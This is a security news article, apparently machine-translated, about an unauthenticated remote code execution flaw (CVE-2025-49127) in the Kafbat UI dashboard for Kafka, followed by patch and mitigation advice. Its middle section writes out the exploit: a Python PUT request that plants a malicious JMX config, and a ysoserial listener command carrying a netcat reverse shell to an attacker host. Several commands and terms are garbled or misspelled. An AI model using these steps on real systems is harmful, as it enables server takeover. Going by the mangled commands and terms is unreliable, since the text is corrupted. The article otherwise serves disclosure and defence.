A serious remote code execution (RCE) vulnerability was recently discovered in the Kafbat UI, the open source management interface for Apache Kafka. The vulnerability was assigned the code CVE – 2025-49127 and evaluated with CVSS 10.0 scores.
The wiggle from JMX in dynamic configuration
Kafbat UI version 1.0.0 allows users to ” dynamically” configure Kafka clusters by entering JMX host and gateway information. However, rather than checking and limiting input, this application constructs JMX addresses blindly from user – provided data:
String jmxUrl = "service:jmx:rmi:///jndi/rmi://"
+ node.host () + ":" + c.getMetricsConfig ().getPort ()
+ "/jmxrmi";
connector.connect (env);
Since authentication is disabled by default (auth.type: DISABLED), anyone can send a PUT request to the endpoint /api/config to declare the new Kafka cluster with metric type JMX and specify a random port.
Within 30 seconds, the metric collector calls connector.connect (), starts the RMI handshake with the malicious server and downloads the payload sequence created using the ysoserial library (using the gadgets CommonsCollections7), from which the arbitrary command is executed on the system using Runtime.exec ().
Hole Mining: PUT request paves the way for reverse shell
Security researchers have published a two-stage mining technique: initially sending a cluster configuration containing malicious JMX payloads, followed by a listener setup to wait for the shell to reverse, thus gaining remote control of the system.
The Python code sends the malicious configuration as follows:
payload = {
"config": {
"properties": {
"kafka": {
"clusters": [{
"name": "rce",
"bootstrapServers": "kafka - malicious - broker:9093",
"metrics": {"type": "JMX", "port": 1719}
}]
}
}
}
}
requests.put ("http://target:8080/api/config", json=payload, timeout=30)
Next, the malicious server opens the JRMP listener with ysoserial:
java -cp ysoserial.jar ysaborial.exploit.JRMPListener 1719 CommonsCollections7
"nc192.0.2.10 9094 -e / bin/sh"
Within seconds, the reverse shell will be sent to port 9094, allowing the attacker to remote control the server without login information. This process works stably on the default Docker implementation.
Patch and emergency precautions
The Kafbat development team quickly released patch 1.1.0 with three key changes:
- Reject unreliable JMX connections and apply a whitelist
- Require authentication for endpoint /api/config
- Add a sequential filter (jdk.serialFilter) to block payloads containing gadgets
Administrators should take the following steps immediately:
- Update to new version: docker pull ghcr.io/kafbat/kafa-ui: v1.1.0 and re-implement the system
- Disable dynamic configuration in production environment with ENABLED DYNAMIC CONFIG environment variable: “false”
- Block RMI traffic (port 1099/tcp) and unnecessary JMX ports at the firewall
- Monitor system logs for unexpected service: jmx: rmi sequences. IllegalArgumentException: filter status: REJECTED
Be careful before you turn into a springboard.
The CVE 2025 49127 vulnerability is zero – click, making it an ideal target for automated mining campaigns. With a simple configuration request, the attacker can gain control of the Kafka surveillance system and install malicious code. In many cases, the occupied server will be used to run the digital digger software or as a springboard to extend the attack to other internal systems.
According to WhiteHat’s expert, exploiting the breach is not technically demanding. With the mining code publicly announced, many systems may have been targeted by automated bots. Any Kafka’s dashboard that has not been updated or configured properly is at risk of being hijacked within minutes of being online.
“This is a particularly dangerous form of vulnerability. Once the attackers control the Kafka surveillance tool, they can secretly monitor the system, insert malicious code, or even expand their presence deeper into corporate networks, “warning White Hat.
Don’t let a seemingly harmless Kafka watchpoint become the gateway to your entire infrastructure. Immediately update the patch version, disable dynamic configuration if not absolutely necessary, block unmanaged JMX and RMI connections, and closely monitor the system log for signs of unauthorized access. These are the minimum steps to take right now to keep the system safe from one of the most dangerous vulnerabilities of our time.